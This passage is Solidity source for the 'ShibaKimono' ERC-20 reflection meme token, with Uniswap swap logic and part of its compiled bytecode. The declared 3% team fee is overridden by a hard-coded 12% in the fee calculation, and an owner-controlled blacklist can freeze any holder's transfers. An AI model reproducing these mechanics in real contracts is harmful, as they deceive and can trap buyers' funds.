(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ShibaKimono is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shiba Kimono | t.me/shibakimonogroups"; string private constant _symbol = "ShibaKimono"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } } /* */
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e97565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061299e565b610441565b6040516101789190612e7c565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613039565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061294b565b610473565b6040516101e09190612e7c565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b1565b61054c565b005b34801561021e57600080fd5b5061022761063c565b60405161023491906130ae565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a27565b610645565b005b34801561027257600080fd5b5061027b6106f7565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b1565b610769565b6040516102b19190613039565b60405180910390f35b3480156102c657600080fd5b506102cf6107ba565b005b3480156102dd57600080fd5b506102e661090d565b6040516102f39190612dae565b60405180910390f35b34801561030857600080fd5b50610311610936565b60405161031e9190612e97565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061299e565b610973565b60405161035b9190612e7c565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129de565b610991565b005b34801561039957600080fd5b506103a2610abb565b005b3480156103b057600080fd5b506103b9610b35565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a81565b611097565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061290b565b6111e3565b6040516104189190613039565b60405180910390f35b60606040518060600160405280602581526020016137dd60259139905090565b600061045561044e61126a565b8484611272565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061048084848461143d565b6105418461048c61126a565b61053c856040518060600160405280602881526020016137b560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f261126a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfc9092919063ffffffff16565b611272565b600190509392505050565b61055461126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890612f79565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064d61126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d190612f79565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073861126a565b73ffffffffffffffffffffffffffffffffffffffff161461075857600080fd5b600047905061076681611c60565b50565b60006107b3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d81565b9050919050565b6107c261126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084690612f79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f53686962614b696d6f6e6f000000000000000000000000000000000000000000815250905090565b600061098761098061126a565b848461143d565b6001905092915050565b61099961126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1d90612f79565b60405180910390fd5b60005b8151811015610ab7576001600a6000848481518110610a4b57610a4a6133f6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aaf9061334f565b915050610a29565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610afc61126a565b73ffffffffffffffffffffffffffffffffffffffff1614610b1c57600080fd5b6000610b2730610769565b9050610b3281611def565b50565b610b3d61126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc190612f79565b60405180910390fd5b600f60149054906101000a900460ff1615610c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1190612ff9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611272565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf357600080fd5b505afa158015610d07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2b91906128de565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8d57600080fd5b505afa158015610da1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc591906128de565b6040518363ffffffff1660e01b8152600401610de2929190612dc9565b602060405180830381600087803b158015610dfc57600080fd5b505af1158015610e10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3491906128de565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebd30610769565b600080610ec861090d565b426040518863ffffffff1660e01b8152600401610eea96959493929190612e1b565b6060604051808303818588803b158015610f0357600080fd5b505af1158015610f17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3c9190612aae565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611041929190612df2565b602060405180830381600087803b15801561105b57600080fd5b505af115801561106f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110939190612a54565b5050565b61109f61126a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461112c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112390612f79565b60405180910390fd5b6000811161116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612f39565b60405180910390fd5b6111a16064611193836b033b2e3c9fd0803ce800000061207790919063ffffffff16565b6120f290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111d89190613039565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d990612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611352576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134990612ef9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114309190613039565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a490612fb9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151490612eb9565b60405180910390fd5b60008111611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612f99565b60405180910390fd5b61156861090d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115d657506115a661090d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3957600f60179054906101000a900460ff1615611809573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561170c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175261126a565b73ffffffffffffffffffffffffffffffffffffffff1614806117c85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b061126a565b73ffffffffffffffffffffffffffffffffffffffff16145b611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90613019565b60405180910390fd5b5b5b60105481111561181857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118bc5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118c557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119705750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119de5750600f60179054906101000a900460ff165b15611a7f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2e57600080fd5b603c42611a3b919061316f565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8a30610769565b9050600f60159054906101000a900460ff16158015611af75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b0f5750600f60169054906101000a900460ff165b15611b3757611b1d81611def565b60004790506000811115611b3557611b3447611c60565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bea57600090505b611bf68484848461213c565b50505050565b6000838311158290611c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3b9190612e97565b60405180910390fd5b5060008385611c539190613250565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc3600a611cb560048661207790919063ffffffff16565b6120f290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cee573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d52600a611d4460068661207790919063ffffffff16565b6120f290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d7d573d6000803e3d6000fd5b5050565b6000600654821115611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf90612ed9565b60405180910390fd5b6000611dd2612169565b9050611de781846120f290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2757611e26613425565b5b604051908082528060200260200182016040528015611e555781602001602082028036833780820191505090505b5090503081600081518110611e6d57611e6c6133f6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0f57600080fd5b505afa158015611f23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f4791906128de565b81600181518110611f5b57611f5a6133f6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fc230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611272565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612026959493929190613054565b600060405180830381600087803b15801561204057600080fd5b505af1158015612054573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561208a57600090506120ec565b6000828461209891906131f6565b90508284826120a791906131c5565b146120e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120de90612f59565b60405180910390fd5b809150505b92915050565b600061213483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612194565b905092915050565b8061214a576121496121f7565b5b612155848484612228565b80612163576121626123f3565b5b50505050565b6000806000612176612405565b9150915061218d81836120f290919063ffffffff16565b9250505090565b600080831182906121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d29190612e97565b60405180910390fd5b50600083856121ea91906131c5565b9050809150509392505050565b600060085414801561220b57506000600954145b1561221557612226565b600060088190555060006009819055505b565b60008060008060008061223a87612470565b95509550955095509550955061229886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123798161257f565b612383848361263c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e09190613039565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b6000806000600654905060006b033b2e3c9fd0803ce800000090506124416b033b2e3c9fd0803ce80000006006546120f290919063ffffffff16565b821015612463576006546b033b2e3c9fd0803ce800000093509350505061246c565b81819350935050505b9091565b600080600080600080600080600061248c8a600854600c612676565b925092509250600061249c612169565b905060008060006124af8e87878761270c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bfc565b905092915050565b6000808284612530919061316f565b905083811015612575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256c90612f19565b60405180910390fd5b8091505092915050565b6000612589612169565b905060006125a0828461207790919063ffffffff16565b90506125f481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612651826006546124d790919063ffffffff16565b60068190555061266c8160075461252190919063ffffffff16565b6007819055505050565b6000806000806126a26064612694888a61207790919063ffffffff16565b6120f290919063ffffffff16565b905060006126cc60646126be888b61207790919063ffffffff16565b6120f290919063ffffffff16565b905060006126f5826126e7858c6124d790919063ffffffff16565b6124d790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612725858961207790919063ffffffff16565b9050600061273c868961207790919063ffffffff16565b90506000612753878961207790919063ffffffff16565b9050600061277c8261276e85876124d790919063ffffffff16565b6124d790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127a86127a3846130ee565b6130c9565b905080838252602082019050828560208602820111156127cb576127ca613459565b5b60005b858110156127fb57816127e18882612805565b8452602084019350602083019250506001810190506127ce565b5050509392505050565b6000813590506128148161376f565b92915050565b6000815190506128298161376f565b92915050565b600082601f83011261284457612843613454565b5b8135612854848260208601612795565b91505092915050565b60008135905061286c81613786565b92915050565b60008151905061288181613786565b92915050565b6000813590506128968161379d565b92915050565b6000815190506128ab8161379d565b92915050565b6000602082840312156128c7576128c6613463565b5b60006128d584828501612805565b91505092915050565b6000602082840312156128f4576128f3613463565b5b60006129028482850161281a565b91505092915050565b6000806040838503121561292257612921613463565b5b600061293085828601612805565b925050602061294185828601612805565b9150509250929050565b60008060006060848603121561296457612963613463565b5b600061297286828701612805565b935050602061298386828701612805565b925050604061299486828701612887565b9150509250925092565b600080604083850312156129b5576129b4613463565b5b60006129c385828601612805565b92505060206129d485828601612887565b9150509250929050565b6000602082840312156129f4576129f3613463565b5b600082013567ffffffffffffffff811115612a1257612a1161345e565b5b612a1e8482850161282f565b91505092915050565b600060208284031215612a3d57612a3c613463565b5b6000612a4b8482850161285d565b91505092915050565b600060208284031215612a6a57612a69613463565b5b6000612a7884828501612872565b91505092915050565b600060208284031215612a9757612a96613463565b5b6000612aa584828501612887565b91505092915050565b600080600060608486031215612ac757612ac6613463565b5b6000612ad58682870161289c565b9350506020612ae68682870161289c565b9250506040612af78682870161289c565b9150509250925092565b6000612b0d8383612b19565b60208301905092915050565b612b2281613284565b82525050565b612b3181613284565b82525050565b6000612b428261312a565b612b4c818561314d565b9350612b578361311a565b8060005b83811015612b88578151612b6f8882612b01565b9750612b7a83613140565b925050600181019050612b5b565b5085935050505092915050565b612b9e81613296565b82525050565b612bad816132d9565b82525050565b6000612bbe82613135565b612bc8818561315e565b9350612bd88185602086016132eb565b612be181613468565b840191505092915050565b6000612bf960238361315e565b9150612c0482613479565b604082019050919050565b6000612c1c602a8361315e565b9150612c27826134c8565b604082019050919050565b6000612c3f60228361315e565b9150612c4a82613517565b60408201905